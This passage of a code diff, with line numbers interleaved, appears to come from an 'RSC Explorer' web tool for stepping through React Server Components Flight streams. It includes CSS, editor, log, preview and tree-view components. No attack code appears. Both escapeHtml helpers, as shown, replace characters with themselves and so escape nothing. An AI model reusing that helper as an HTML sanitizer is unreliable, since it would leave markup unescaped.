height: 14px;
605
+
background: #ffd54f;
606
+
border-radius: 50%;
607
+
cursor: pointer;
608
+
border: none;
609
+
}
610
+
.step-slider:disabled {
611
+
opacity: 0.5;
612
+
}
613
+
.step-info {
614
+
font-size: 11px;
615
+
color: var(--text-dim);
616
+
font-family: var(--font-mono);
617
+
min-width: 60px;
618
+
text-align: right;
619
+
}
620
+
621
+
/* Preview pane */
622
+
.preview-container {
623
+
flex: 1;
624
+
padding: 20px;
625
+
background: #fff;
626
+
color: #111;
627
+
overflow: auto;
628
+
font-family: -apple-system, BlinkMacSystemFont, sans-serif;
629
+
font-size: 16px;
630
+
line-height: 1.5;
631
+
}
632
+
.preview-container h1 {
633
+
font-size: 28px;
634
+
color: #000;
635
+
margin: 0 0 16px;
636
+
}
637
+
.preview-container h2 {
638
+
font-size: 22px;
639
+
color: #000;
640
+
}
641
+
.preview-container h3 {
642
+
font-size: 18px;
643
+
color: #000;
644
+
}
645
+
.preview-container p {
646
+
color: #111;
647
+
margin: 8px 0;
648
+
}
649
+
.preview-container button {
650
+
background: #333;
651
+
color: #fff;
652
+
border: none;
653
+
padding: 8px 14px;
654
+
border-radius: 4px;
655
+
cursor: pointer;
656
+
font-size: 14px;
657
+
}
658
+
.preview-container button:hover {
659
+
background: #444;
660
+
}
661
+
.preview-container .empty {
662
+
color: #999;
663
+
font-style: italic;
664
+
}
665
+
.preview-container .empty.error {
666
+
color: #c0392b;
667
+
}
668
+
.flight-output .empty {
669
+
color: var(--text-dim);
670
+
font-style: italic;
671
+
}
672
+
/* Pulsing dots for empty/waiting states */
673
+
.empty::after {
674
+
content: '';
675
+
animation: none;
676
+
}
677
+
.waiting-dots::after {
678
+
content: '...';
679
+
animation: pulse 1.5s ease-in-out infinite;
680
+
}
681
+
@keyframes pulse {
682
+
0%, 100% { opacity: 0.3; }
683
+
50% { opacity: 1; }
684
+
}
685
+
686
+
/* Raw input form */
687
+
.add-raw-btn-wrapper {
688
+
display: flex;
689
+
justify-content: center;
690
+
margin-top: 8px;
691
+
}
692
+
.add-raw-btn {
693
+
width: 24px;
694
+
height: 24px;
695
+
padding: 0;
696
+
background: var(--border);
697
+
border: 1px solid #444;
698
+
border-radius: 50%;
699
+
color: var(--text-dim);
700
+
cursor: pointer;
701
+
font-size: 14px;
702
+
line-height: 22px;
703
+
transition: all 0.15s;
704
+
}
705
+
.add-raw-btn:hover {
706
+
background: #3a3a3a;
707
+
border-color: #666;
708
+
color: var(--text);
709
+
}
710
+
.raw-input-form {
711
+
margin-top: 8px;
712
+
padding: 10px;
713
+
background: var(--surface);
714
+
border: 1px solid var(--border);
715
+
border-radius: 4px;
716
+
}
717
+
.raw-input-action {
718
+
-webkit-appearance: none;
719
+
appearance: none;
720
+
width: 100%;
721
+
padding: 5px 28px 5px 10px;
722
+
margin-bottom: 8px;
723
+
background: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 24 24' fill='none' stroke='%23999' stroke-width='2.5'%3E%3Cpath d='M6 9l6 6 6-6'/%3E%3C/svg%3E") no-repeat right 8px center, linear-gradient(to bottom, #333, #2a2a2a);
724
+
border: 1px solid #555;
725
+
border-radius: 4px;
726
+
color: #fff;
727
+
font-size: 12px;
728
+
cursor: pointer;
729
+
box-shadow: 0 1px 2px rgba(0,0,0,0.2);
730
+
}
731
+
.raw-input-action:hover {
732
+
border-color: #666;
733
+
background: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 24 24' fill='none' stroke='%23bbb' stroke-width='2.5'%3E%3Cpath d='M6 9l6 6 6-6'/%3E%3C/svg%3E") no-repeat right 8px center, linear-gradient(to bottom, #3a3a3a, #333);
734
+
}
735
+
.raw-input-action:focus {
736
+
outline: none;
737
+
border-color: #ffd54f;
738
+
}
739
+
.raw-input-payload {
740
+
width: 100%;
741
+
padding: 8px;
742
+
background: var(--bg);
743
+
border: 1px solid var(--border);
744
+
border-radius: 3px;
745
+
color: var(--text);
746
+
font-family: var(--font-mono);
747
+
font-size: 11px;
748
+
resize: vertical;
749
+
min-height: 100px;
750
+
}
751
+
.raw-input-payload:focus {
752
+
outline: none;
753
+
border-color: #555;
754
+
}
755
+
.raw-input-buttons {
756
+
display: flex;
757
+
gap: 8px;
758
+
margin-top: 8px;
759
+
}
760
+
.raw-input-buttons button {
761
+
padding: 5px 12px;
762
+
border-radius: 3px;
763
+
font-size: 11px;
764
+
cursor: pointer;
765
+
}
766
+
.raw-input-buttons button:first-child {
767
+
background: #ffd54f;
768
+
border: none;
769
+
color: #000;
770
+
}
771
+
.raw-input-buttons button:first-child:disabled {
772
+
background: #555;
773
+
color: #888;
774
+
cursor: not-allowed;
775
+
}
776
+
.raw-input-buttons button:last-child {
777
+
background: transparent;
778
+
border: 1px solid var(--border);
779
+
color: var(--text-dim);
780
+
}
781
+
.raw-input-buttons button:last-child:hover {
782
+
border-color: #555;
783
+
color: var(--text);
784
+
}
785
+
.log-entry-header-right {
786
+
display: flex;
787
+
align-items: center;
788
+
gap: 8px;
789
+
}
790
+
.delete-entry-btn {
791
+
background: transparent;
792
+
border: none;
793
+
color: var(--text-dim);
794
+
cursor: pointer;
795
+
font-size: 14px;
796
+
padding: 0 4px;
797
+
line-height: 1;
798
+
opacity: 0.5;
799
+
transition: opacity 0.15s, color 0.15s;
800
+
}
801
+
.delete-entry-btn:hover {
802
+
opacity: 1;
803
+
color: #e57373;
804
+
}
805
+
806
+
/* Responsive - mobile */
807
+
@media (max-width: 768px) {
808
+
/* Keep 4-grid layout on mobile */
809
+
/* Prevent iOS zoom on all form elements */
810
+
input, textarea, select {
811
+
font-size: 16px !important;
812
+
}
813
+
.raw-input-payload {
814
+
font-size: 16px !important;
815
+
}
816
+
/* Playback controls responsive */
817
+
.playback-container {
818
+
padding: 8px 12px;
819
+
gap: 8px;
820
+
}
821
+
.playback-controls {
822
+
gap: 6px;
823
+
}
824
+
.control-btn {
825
+
width: 44px;
826
+
height: 44px;
827
+
}
828
+
.control-btn svg {
829
+
width: 20px;
830
+
height: 20px;
831
+
}
832
+
.step-info {
833
+
min-width: 50px;
834
+
font-size: 11px;
835
+
}
836
+
}
837
+
@media (max-width: 480px) {
838
+
/* Playback: hide slider and status, keep buttons tappable */
839
+
.step-slider,
840
+
.step-info {
841
+
display: none;
842
+
}
843
+
.playback-container {
844
+
padding: 6px 8px;
845
+
gap: 6px;
846
+
}
847
+
.control-btn {
848
+
width: 44px;
849
+
height: 44px;
850
+
}
851
+
.control-btn svg {
852
+
width: 18px;
853
+
height: 18px;
854
+
}
855
+
}
+232
src/client/ui/App.jsx
+232
src/client/ui/App.jsx
···
1
+
import React, { useState, useRef, useEffect, useMemo, version } from 'react';
2
+
import { SAMPLES } from '../samples.js';
3
+
import REACT_VERSIONS from '../../../scripts/versions.json';
4
+
5
+
const isDev = process.env.NODE_ENV === 'development';
6
+
7
+
function BuildSwitcher() {
8
+
if (!import.meta.env.PROD) return null;
9
+
10
+
const handleVersionChange = (e) => {
11
+
const newVersion = e.target.value;
12
+
if (newVersion !== version) {
13
+
const modePath = isDev ? '/dev' : '';
14
+
window.location.href = `/${newVersion}${modePath}/` + window.location.search;
15
+
}
16
+
};
17
+
18
+
const handleModeChange = (e) => {
19
+
const newIsDev = e.target.value === 'dev';
20
+
if (newIsDev !== isDev) {
21
+
const modePath = newIsDev ? '/dev' : '';
22
+
window.location.href = `/${version}${modePath}/` + window.location.search;
23
+
}
24
+
};
25
+
26
+
return (
27
+
<div className="build-switcher">
28
+
<label>React</label>
29
+
<select value={version} onChange={handleVersionChange}>
30
+
{REACT_VERSIONS.map((v) => (
31
+
<option key={v} value={v}>{v}</option>
32
+
))}
33
+
</select>
34
+
<select value={isDev ? 'dev' : 'prod'} onChange={handleModeChange} className="mode-select">
35
+
<option value="prod">prod</option>
36
+
<option value="dev">dev</option>
37
+
</select>
38
+
</div>
39
+
);
40
+
}
41
+
42
+
function getInitialCode() {
43
+
const params = new URLSearchParams(window.location.search);
44
+
const sampleKey = params.get('s');
45
+
const encodedCode = params.get('c');
46
+
47
+
if (encodedCode) {
48
+
try {
49
+
const decoded = JSON.parse(decodeURIComponent(escape(atob(encodedCode))));
50
+
return { server: decoded.server, client: decoded.client, sampleKey: null };
51
+
} catch (e) {
52
+
console.error('Failed to decode URL code:', e);
53
+
}
54
+
}
55
+
56
+
if (sampleKey && SAMPLES[sampleKey]) {
57
+
return { server: SAMPLES[sampleKey].server, client: SAMPLES[sampleKey].client, sampleKey };
58
+
}
59
+
60
+
return { server: SAMPLES.pagination.server, client: SAMPLES.pagination.client, sampleKey: 'pagination' };
61
+
}
62
+
63
+
function saveToUrl(serverCode, clientCode) {
64
+
const json = JSON.stringify({ server: serverCode, client: clientCode });
65
+
// btoa(unescape(encodeURIComponent(...))) is the standard way to base64 encode UTF-8
66
+
// Don't wrap in encodeURIComponent - searchParams.set() handles that
67
+
const encoded = btoa(unescape(encodeURIComponent(json)));
68
+
const url = new URL(window.location.href);
69
+
url.searchParams.delete('s');
70
+
url.searchParams.set('c', encoded);
71
+
window.history.pushState({}, '', url);
72
+
}
73
+
74
+
function EmbedModal({ code, onClose }) {
75
+
const textareaRef = useRef(null);
76
+
const [copied, setCopied] = useState(false);
77
+
78
+
const embedCode = useMemo(() => {
79
+
const base = window.location.origin + window.location.pathname.replace(/\/$/, '');
80
+
const id = Math.random().toString(36).slice(2, 6);
81
+
return `<div id="rsc-${id}" style="height: 500px;"></div>
82
+
<script type="module">
83
+
import { mount } from '${base}/embed.js';
84
+
85
+
mount('#rsc-${id}', {
86
+
server: \`
87
+
${code.server}
88
+
\`,
89
+
client: \`
90
+
${code.client}
91
+
\`
92
+
});
93
+
</script>`;
94
+
}, [code]);
95
+
96
+
const handleCopy = () => {
97
+
navigator.clipboard.writeText(embedCode);
98
+
setCopied(true);
99
+
setTimeout(() => setCopied(false), 2000);
100
+
};
101
+
102
+
return (
103
+
<div className="modal-overlay" onClick={onClose}>
104
+
<div className="modal" onClick={e => e.stopPropagation()}>
105
+
<div className="modal-header">
106
+
<h2>Embed this example</h2>
107
+
<button className="modal-close" onClick={onClose}>×</button>
108
+
</div>
109
+
<div className="modal-body">
110
+
<p>Copy and paste this code into your HTML:</p>
111
+
<textarea
112
+
ref={textareaRef}
113
+
readOnly
114
+
value={embedCode}
115
+
onClick={e => e.target.select()}
116
+
/>
117
+
</div>
118
+
<div className="modal-footer">
119
+
<button className="copy-btn" onClick={handleCopy}>
120
+
{copied ? 'Copied!' : 'Copy to clipboard'}
121
+
</button>
122
+
</div>
123
+
</div>
124
+
</div>
125
+
);
126
+
}
127
+
128
+
export function App() {
129
+
const [initialCode] = useState(getInitialCode);
130
+
const [currentSample, setCurrentSample] = useState(initialCode.sampleKey);
131
+
const [workspaceCode, setWorkspaceCode] = useState({
132
+
server: initialCode.server,
133
+
client: initialCode.client,
134
+
});
135
+
const [liveCode, setLiveCode] = useState(workspaceCode);
136
+
const [showEmbedModal, setShowEmbedModal] = useState(false);
137
+
const iframeRef = useRef(null);
138
+
139
+
useEffect(() => {
140
+
const handleMessage = (event) => {
141
+
if (event.data?.type === 'rsc-embed:ready') {
142
+
iframeRef.current?.contentWindow?.postMessage({
143
+
type: 'rsc-embed:init',
144
+
code: workspaceCode,
145
+
showFullscreen: false
146
+
}, '*');
147
+
}
148
+
if (event.data?.type === 'rsc-embed:code-changed') {
149
+
setLiveCode(event.data.code);
150
+
}
151
+
};
152
+
153
+
window.addEventListener('message', handleMessage);
154
+
return () => window.removeEventListener('message', handleMessage);
155
+
}, [workspaceCode]);
156
+
157
+
useEffect(() => {
158
+
setLiveCode(workspaceCode);
159
+
if (iframeRef.current?.contentWindow) {
160
+
iframeRef.current.contentWindow.postMessage({
161
+
type: 'rsc-embed:init',
162
+
code: workspaceCode,
163
+
showFullscreen: false
164
+
}, '*');
165
+
}
166
+
}, [workspaceCode]);
167
+
168
+
const handleSave = () => {
169
+
saveToUrl(liveCode.server, liveCode.client);
170
+
setCurrentSample(null);
171
+
};
172
+
173
+
const isDirty = currentSample
174
+
? liveCode.server !== SAMPLES[currentSample].server || liveCode.client !== SAMPLES[currentSample].client
175
+
: liveCode.server !== initialCode.server || liveCode.client !== initialCode.client;
176
+
177
+
const handleSampleChange = (e) => {
178
+
const key = e.target.value;
179
+
if (key && SAMPLES[key]) {
180
+
const newCode = {
181
+
server: SAMPLES[key].server,
182
+
client: SAMPLES[key].client,
183
+
};
184
+
setWorkspaceCode(newCode);
185
+
setCurrentSample(key);
186
+
const url = new URL(window.location.href);
187
+
url.searchParams.delete('c');
188
+
url.searchParams.set('s', key);
189
+
window.history.pushState({}, '', url);
190
+
}
191
+
};
192
+
193
+
return (
194
+
<>
195
+
<header>
196
+
<h1>RSC Explorer</h1>
197
+
<div className="example-select-wrapper">
198
+
<label>Example</label>
199
+
<select value={currentSample || ''} onChange={handleSampleChange}>
200
+
{!currentSample && <option value="">Custom</option>}
201
+
{Object.entries(SAMPLES).map(([key, sample]) => (
202
+
<option key={key} value={key}>{sample.name}</option>
203
+
))}
204
+
</select>
205
+
<button className="save-btn" onClick={handleSave} disabled={!isDirty} title="Save to URL">
206
+
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="2">
207
+
<path d="M19 21H5a2 2 0 01-2-2V5a2 2 0 012-2h11l5 5v11a2 2 0 01-2 2z" />
208
+
<polyline points="17 21 17 13 7 13 7 21" />
209
+
<polyline points="7 3 7 8 15 8" />
210
+
</svg>
211
+
</button>
212
+
<button className="embed-btn" onClick={() => setShowEmbedModal(true)} title="Embed">
213
+
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="2">
214
+
<polyline points="16 18 22 12 16 6" />
215
+
<polyline points="8 6 2 12 8 18" />
216
+
</svg>
217
+
</button>
218
+
</div>
219
+
<div className="header-spacer" />
220
+
<BuildSwitcher />
221
+
</header>
222
+
<iframe
223
+
ref={iframeRef}
224
+
src="embed.html"
225
+
style={{ flex: 1, border: 'none', width: '100%' }}
226
+
/>
227
+
{showEmbedModal && (
228
+
<EmbedModal code={liveCode} onClose={() => setShowEmbedModal(false)} />
229
+
)}
230
+
</>
231
+
);
232
+
}
+82
src/client/ui/CodeEditor.jsx
+82
src/client/ui/CodeEditor.jsx
···
1
+
import React, { useRef, useEffect, useEffectEvent } from "react";
2
+
import { EditorView, keymap } from "@codemirror/view";
3
+
import { javascript } from "@codemirror/lang-javascript";
4
+
import { syntaxHighlighting, HighlightStyle } from "@codemirror/language";
5
+
import { tags } from "@lezer/highlight";
6
+
import { history, historyKeymap } from "@codemirror/commands";
7
+
import { closeBrackets, closeBracketsKeymap } from "@codemirror/autocomplete";
8
+
import { defaultKeymap } from "@codemirror/commands";
9
+
10
+
const highlightStyle = HighlightStyle.define([
11
+
{ tag: tags.keyword, color: "#c678dd" },
12
+
{ tag: tags.string, color: "#98c379" },
13
+
{ tag: tags.number, color: "#d19a66" },
14
+
{ tag: tags.comment, color: "#5c6370", fontStyle: "italic" },
15
+
{ tag: tags.function(tags.variableName), color: "#61afef" },
16
+
{ tag: tags.typeName, color: "#e5c07b" },
17
+
{ tag: [tags.tagName, tags.angleBracket], color: "#e06c75" },
18
+
{ tag: tags.attributeName, color: "#d19a66" },
19
+
{ tag: tags.propertyName, color: "#abb2bf" },
20
+
]);
21
+
22
+
const minimalTheme = EditorView.theme(
23
+
{
24
+
"&": { height: "100%", fontSize: "13px", backgroundColor: "transparent" },
25
+
".cm-scroller": {
26
+
overflow: "auto",
27
+
fontFamily: "'SF Mono', 'Fira Code', Menlo, monospace",
28
+
lineHeight: "1.6",
29
+
padding: "12px",
30
+
},
31
+
".cm-content": { caretColor: "#79b8ff" },
32
+
".cm-cursor": { borderLeftColor: "#79b8ff", borderLeftWidth: "2px" },
33
+
".cm-selectionBackground, &.cm-focused .cm-selectionBackground": {
34
+
backgroundColor: "#3a3a3a",
35
+
},
36
+
".cm-activeLine": { backgroundColor: "transparent" },
37
+
".cm-gutters": { display: "none" },
38
+
".cm-line": { color: "#b8b8b8" },
39
+
},
40
+
{ dark: true },
41
+
);
42
+
43
+
export function CodeEditor({ defaultValue, onChange, label }) {
44
+
const containerRef = useRef(null);
45
+
46
+
const onEditorChange = useEffectEvent((doc) => {
47
+
onChange(doc);
48
+
});
49
+
50
+
useEffect(() => {
51
+
if (!containerRef.current) return;
52
+
53
+
const onChangeExtension = EditorView.updateListener.of((update) => {
54
+
if (update.docChanged) {
55
+
onEditorChange(update.state.doc.toString());
56
+
}
57
+
});
58
+
59
+
const editor = new EditorView({
60
+
doc: defaultValue,
61
+
extensions: [
62
+
minimalTheme,
63
+
syntaxHighlighting(highlightStyle),
64
+
javascript({ jsx: true }),
65
+
history(),
66
+
closeBrackets(),
67
+
keymap.of([...defaultKeymap, ...historyKeymap, ...closeBracketsKeymap]),
68
+
onChangeExtension,
69
+
],
70
+
parent: containerRef.current,
71
+
});
72
+
73
+
return () => editor.destroy();
74
+
}, []);
75
+
76
+
return (
77
+
<div className="pane">
78
+
<div className="pane-header">{label}</div>
79
+
<div className="editor-container" ref={containerRef} />
80
+
</div>
81
+
);
82
+
}
+198
src/client/ui/FlightLog.jsx
+198
src/client/ui/FlightLog.jsx
···
1
+
import React, { useState, useRef, useEffect } from 'react';
2
+
import { FlightTreeView } from './TreeView.jsx';
3
+
4
+
function escapeHtml(str) {
5
+
return str.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>');
6
+
}
7
+
8
+
function RenderLogView({ lines, chunkStart, cursor, flightPromise }) {
9
+
const activeRef = useRef(null);
10
+
const nextLineIndex = cursor >= chunkStart && cursor < chunkStart + lines.length
11
+
? cursor - chunkStart
12
+
: -1;
13
+
14
+
useEffect(() => {
15
+
if (activeRef.current) {
16
+
activeRef.current.scrollIntoView({ block: 'nearest', behavior: 'smooth' });
17
+
}
18
+
}, [nextLineIndex]);
19
+
20
+
if (lines.length === 0) return null;
21
+
22
+
const getLineClass = (i) => {
23
+
const globalChunk = chunkStart + i;
24
+
if (globalChunk < cursor) return 'line-done';
25
+
if (globalChunk === cursor) return 'line-next';
26
+
return 'line-pending';
27
+
};
28
+
29
+
const showTree = cursor >= chunkStart;
30
+
31
+
return (
32
+
<div className="log-entry-preview">
33
+
<div className="log-entry-split">
34
+
<div className="log-entry-flight-lines-wrapper">
35
+
<pre className="log-entry-flight-lines">
36
+
{lines.map((line, i) => (
37
+
<span
38
+
key={i}
39
+
ref={i === nextLineIndex ? activeRef : null}
40
+
className={`flight-line ${getLineClass(i)}`}
41
+
>
42
+
{escapeHtml(line)}
43
+
</span>
44
+
))}
45
+
</pre>
46
+
</div>
47
+
<div className="log-entry-tree">
48
+
{showTree && <FlightTreeView flightPromise={flightPromise} />}
49
+
</div>
50
+
</div>
51
+
</div>
52
+
);
53
+
}
54
+
55
+
function FlightLogEntry({ entry, entryIndex, chunkStart, cursor, canDelete, onDelete, getChunkCount }) {
56
+
const chunkCount = getChunkCount(entry);
57
+
const entryEnd = chunkStart + chunkCount;
58
+
const isEntryActive = cursor >= chunkStart && cursor < entryEnd;
59
+
const isEntryDone = cursor >= entryEnd;
60
+
61
+
const entryClass = isEntryActive ? 'active' : isEntryDone ? 'done-entry' : 'pending-entry';
62
+
63
+
if (entry.type === 'render') {
64
+
const lines = entry.stream?.rows || [];
65
+
return (
66
+
<div className={`log-entry ${entryClass}`}>
67
+
<div className="log-entry-header">
68
+
<span className="log-entry-label">Render</span>
69
+
<span className="log-entry-header-right">
70
+
{canDelete && (
71
+
<button className="delete-entry-btn" onClick={() => onDelete(entryIndex)} title="Delete">×</button>
72
+
)}
73
+
</span>
74
+
</div>
75
+
<RenderLogView
76
+
lines={lines}
77
+
chunkStart={chunkStart}
78
+
cursor={cursor}
79
+
flightPromise={entry.stream?.flightPromise}
80
+
/>
81
+
</div>
82
+
);
83
+
}
84
+
85
+
if (entry.type === 'action') {
86
+
const responseLines = entry.stream?.rows || [];
87
+
88
+
return (
89
+
<div className={`log-entry ${entryClass}`}>
90
+
<div className="log-entry-header">
91
+
<span className="log-entry-label">Action: {entry.name}</span>
92
+
<span className="log-entry-header-right">
93
+
{canDelete && (
94
+
<button className="delete-entry-btn" onClick={() => onDelete(entryIndex)} title="Delete">×</button>
95
+
)}
96
+
</span>
97
+
</div>
98
+
{entry.args && (
99
+
<div className="log-entry-request">
100
+
<pre className="log-entry-request-args">{entry.args}</pre>
101
+
</div>
102
+
)}
103
+
<RenderLogView
104
+
lines={responseLines}
105
+
chunkStart={chunkStart}
106
+
cursor={cursor}
107
+
flightPromise={entry.stream?.flightPromise}
108
+
/>
109
+
</div>
110
+
);
111
+
}
112
+
113
+
return null;
114
+
}
115
+
116
+
export function FlightLog({ timeline, entries, cursor, error, availableActions, onAddRawAction, onDeleteEntry }) {
117
+
const logRef = useRef(null);
118
+
const [showRawInput, setShowRawInput] = useState(false);
119
+
const [selectedAction, setSelectedAction] = useState('');
120
+
const [rawPayload, setRawPayload] = useState('');
121
+
122
+
const handleAddRaw = () => {
123
+
if (rawPayload.trim()) {
124
+
onAddRawAction(selectedAction, rawPayload);
125
+
setSelectedAction(availableActions[0] || '');
126
+
setRawPayload('');
127
+
setShowRawInput(false);
128
+
}
129
+
};
130
+
131
+
const handleShowRawInput = () => {
132
+
setSelectedAction(availableActions[0] || '');
133
+
setShowRawInput(true);
134
+
};
135
+
136
+
if (error) {
137
+
return <pre className="flight-output error">{error}</pre>;
138
+
}
139
+
140
+
if (entries.length === 0) {
141
+
return <div className="flight-output"><span className="empty waiting-dots">Compiling</span></div>;
142
+
}
143
+
144
+
let chunkOffset = 0;
145
+
const getChunkCount = (entry) => timeline.getChunkCount(entry);
146
+
147
+
return (
148
+
<div className="flight-log" ref={logRef}>
149
+
{entries.map((entry, i) => {
150
+
const chunkStart = chunkOffset;
151
+
chunkOffset += getChunkCount(entry);
152
+
153
+
return (
154
+
<FlightLogEntry
155
+
key={i}
156
+
entry={entry}
157
+
entryIndex={i}
158
+
chunkStart={chunkStart}
159
+
cursor={cursor}
160
+
canDelete={timeline.canDeleteEntry(i)}
161
+
onDelete={onDeleteEntry}
162
+
getChunkCount={getChunkCount}
163
+
/>
164
+
);
165
+
})}
166
+
{availableActions.length > 0 && (showRawInput ? (
167
+
<div className="raw-input-form">
168
+
<select
169
+
value={selectedAction}
170
+
onChange={(e) => setSelectedAction(e.target.value)}
171
+
className="raw-input-action"
172
+
>
173
+
{availableActions.map(action => (
174
+
<option key={action} value={action}>{action}</option>
175
+
))}
176
+
</select>
177
+
<textarea
178
+
placeholder="Paste a request payload from a real action"
179
+
value={rawPayload}
180
+
onChange={(e) => setRawPayload(e.target.value)}
181
+
className="raw-input-payload"
182
+
rows={6}
183
+
/>
184
+
<div className="raw-input-buttons">
185
+
<button onClick={handleAddRaw} disabled={!rawPayload.trim()}>Add</button>
186
+
<button onClick={() => setShowRawInput(false)}>Cancel</button>
187
+
</div>
188
+
</div>
189
+
) : (
190
+
<div className="add-raw-btn-wrapper">
191
+
<button className="add-raw-btn" onClick={handleShowRawInput} title="Add action">
192
+
+
193
+
</button>
194
+
</div>
195
+
))}
196
+
</div>
197
+
);
198
+
}
+154
src/client/ui/LivePreview.jsx
+154
src/client/ui/LivePreview.jsx
···
1
+
import React, { Suspense, Component, useState, useEffect, useSyncExternalStore } from 'react';
2
+
3
+
class PreviewErrorBoundary extends Component {
4
+
constructor(props) {
5
+
super(props);
6
+
this.state = { error: null };
7
+
}
8
+
9
+
static getDerivedStateFromError(error) {
10
+
return { error };
11
+
}
12
+
13
+
render() {
14
+
if (this.state.error) {
15
+
return (
16
+
<span className="empty error">
17
+
Error: {this.state.error.message || String(this.state.error)}
18
+
</span>
19
+
);
20
+
}
21
+
return this.props.children;
22
+
}
23
+
}
24
+
25
+
function StreamingContent({ streamPromise }) {
26
+
return React.use(streamPromise);
27
+
}
28
+
29
+
export function LivePreview({
30
+
timeline,
31
+
clientModuleReady,
32
+
totalChunks,
33
+
cursor,
34
+
isAtStart,
35
+
isAtEnd,
36
+
onStep,
37
+
onSkip,
38
+
onReset
39
+
}) {
40
+
const snapshot = useSyncExternalStore(timeline.subscribe, timeline.getSnapshot);
41
+
const { entries } = snapshot;
42
+
const renderEntry = entries[0];
43
+
const flightPromise = renderEntry?.stream?.flightPromise;
44
+
45
+
const [isPlaying, setIsPlaying] = useState(false);
46
+
47
+
useEffect(() => {
48
+
if (!isPlaying || isAtEnd) {
49
+
if (isAtEnd) setIsPlaying(false);
50
+
return;
51
+
}
52
+
const timer = setTimeout(() => onStep(), 300);
53
+
return () => clearTimeout(timer);
54
+
}, [isPlaying, isAtEnd, onStep, cursor]);
55
+
56
+
useEffect(() => {
57
+
setIsPlaying(false);
58
+
}, [totalChunks]);
59
+
60
+
const showPlaceholder = !clientModuleReady || cursor === 0;
61
+
62
+
const handlePlayPause = () => setIsPlaying(!isPlaying);
63
+
const handleStep = () => { setIsPlaying(false); onStep(); };
64
+
const handleSkip = () => { setIsPlaying(false); onSkip(); };
65
+
const handleReset = () => { setIsPlaying(false); onReset(); };
66
+
67
+
let statusText = '';
68
+
if (isAtStart) {
69
+
statusText = 'Ready';
70
+
} else if (isAtEnd) {
71
+
statusText = 'Done';
72
+
} else {
73
+
statusText = `${cursor} / ${totalChunks}`;
74
+
}
75
+
76
+
return (
77
+
<div className="pane preview-pane">
78
+
<div className="pane-header">preview</div>
79
+
<div className="playback-container">
80
+
<div className="playback-controls">
81
+
<button
82
+
className="control-btn"
83
+
onClick={handleReset}
84
+
disabled={isAtStart}
85
+
title="Reset"
86
+
>
87
+
<svg width="16" height="16" viewBox="0 0 16 16" fill="currentColor">
88
+
<path d="M8 1a7 7 0 1 1-7 7h1.5a5.5 5.5 0 1 0 1.6-3.9L6 6H1V1l1.6 1.6A7 7 0 0 1 8 1z"/>
89
+
</svg>
90
+
</button>
91
+
<button
92
+
className={`control-btn play-btn${isPlaying ? ' playing' : ''}`}
93
+
onClick={handlePlayPause}
94
+
disabled={isAtEnd}
95
+
title={isPlaying ? 'Pause' : 'Play'}
96
+
>
97
+
{isPlaying ? (
98
+
<svg width="16" height="16" viewBox="0 0 24 24" fill="currentColor">
99
+
<path d="M6 19h4V5H6v14zm8-14v14h4V5h-4z"/>
100
+
</svg>
101
+
) : (
102
+
<svg width="16" height="16" viewBox="0 0 24 24" fill="currentColor">
103
+
<path d="M8 5v14l11-7L8 5z"/>
104
+
</svg>
105
+
)}
106
+
</button>
107
+
<button
108
+
className={`control-btn ${!isAtEnd ? 'step-btn' : ''}`}
109
+
onClick={handleStep}
110
+
disabled={isAtEnd}
111
+
title="Step forward"
112
+
>
113
+
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="2.5">
114
+
<path d="M9 6l6 6-6 6"/>
115
+
</svg>
116
+
</button>
117
+
<button
118
+
className="control-btn"
119
+
onClick={handleSkip}
120
+
disabled={isAtEnd}
121
+
title="Skip to end"
122
+
>
123
+
<svg width="16" height="16" viewBox="0 0 24 24" fill="currentColor">
124
+
<path d="M5.5 18V6l9 6-9 6zm9-12h2v12h-2V6z"/>
125
+
</svg>
126
+
</button>
127
+
</div>
128
+
<input
129
+
type="range"
130
+
min="0"
131
+
max={totalChunks}
132
+
value={cursor}
133
+
onChange={() => {}}
134
+
disabled
135
+
className="step-slider"
136
+
/>
137
+
<span className="step-info">{statusText}</span>
138
+
</div>
139
+
<div className="preview-container">
140
+
{showPlaceholder ? (
141
+
<span className="empty">
142
+
{isAtStart ? 'Step to begin...' : 'Loading...'}
143
+
</span>
144
+
) : flightPromise ? (
145
+
<PreviewErrorBoundary>
146
+
<Suspense fallback={<span className="empty">Loading...</span>}>
147
+
<StreamingContent streamPromise={flightPromise} />
148
+
</Suspense>
149
+
</PreviewErrorBoundary>
150
+
) : null}
151
+
</div>
152
+
</div>
153
+
);
154
+
}
+459
src/client/ui/TreeView.jsx
+459
src/client/ui/TreeView.jsx
···
1
+
import React, { Suspense, Component } from 'react';
2
+
3
+
function isReactElement(value) {
4
+
if (!value || typeof value !== 'object') return false;
5
+
const typeofSymbol = value.$$typeof;
6
+
return typeofSymbol === Symbol.for('react.transitional.element');
7
+
}
8
+
9
+
function escapeHtml(str) {
10
+
return str.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>');
11
+
}
12
+
13
+
function PendingFallback() {
14
+
return <span className="tree-pending">Pending</span>;
15
+
}
16
+
17
+
function ErrorFallback({ error }) {
18
+
const message = error?.message || String(error);
19
+
return <span className="tree-error">Error: {message}</span>;
20
+
}
21
+
22
+
class ErrorBoundary extends Component {
23
+
constructor(props) {
24
+
super(props);
25
+
this.state = { error: null };
26
+
}
27
+
28
+
static getDerivedStateFromError(error) {
29
+
return { error };
30
+
}
31
+
32
+
render() {
33
+
if (this.state.error) {
34
+
return <ErrorFallback error={this.state.error} />;
35
+
}
36
+
return this.props.children;
37
+
}
38
+
}
39
+
40
+
function Await({ promise, children }) {
41
+
const value = React.use(promise);
42
+
return children(value);
43
+
}
44
+
45
+
function LazyValue({ value, indent, ancestors = [] }) {
46
+
const resolved = value._init(value._payload);
47
+
return <JSXValue value={resolved} indent={indent} ancestors={ancestors} />;
48
+
}
49
+
50
+
function LazyType({ element, indent, ancestors = [] }) {
51
+
const resolvedType = element.type._init(element.type._payload);
52
+
const newElement = { ...element, type: resolvedType };
53
+
return <JSXElement element={newElement} indent={indent} ancestors={ancestors} />;
54
+
}
55
+
56
+
// `ancestors` tracks the current path for cycle detection
57
+
function JSXValue({ value, indent = 0, ancestors = [] }) {
58
+
if (value === null) return <span className="tree-null">null</span>;
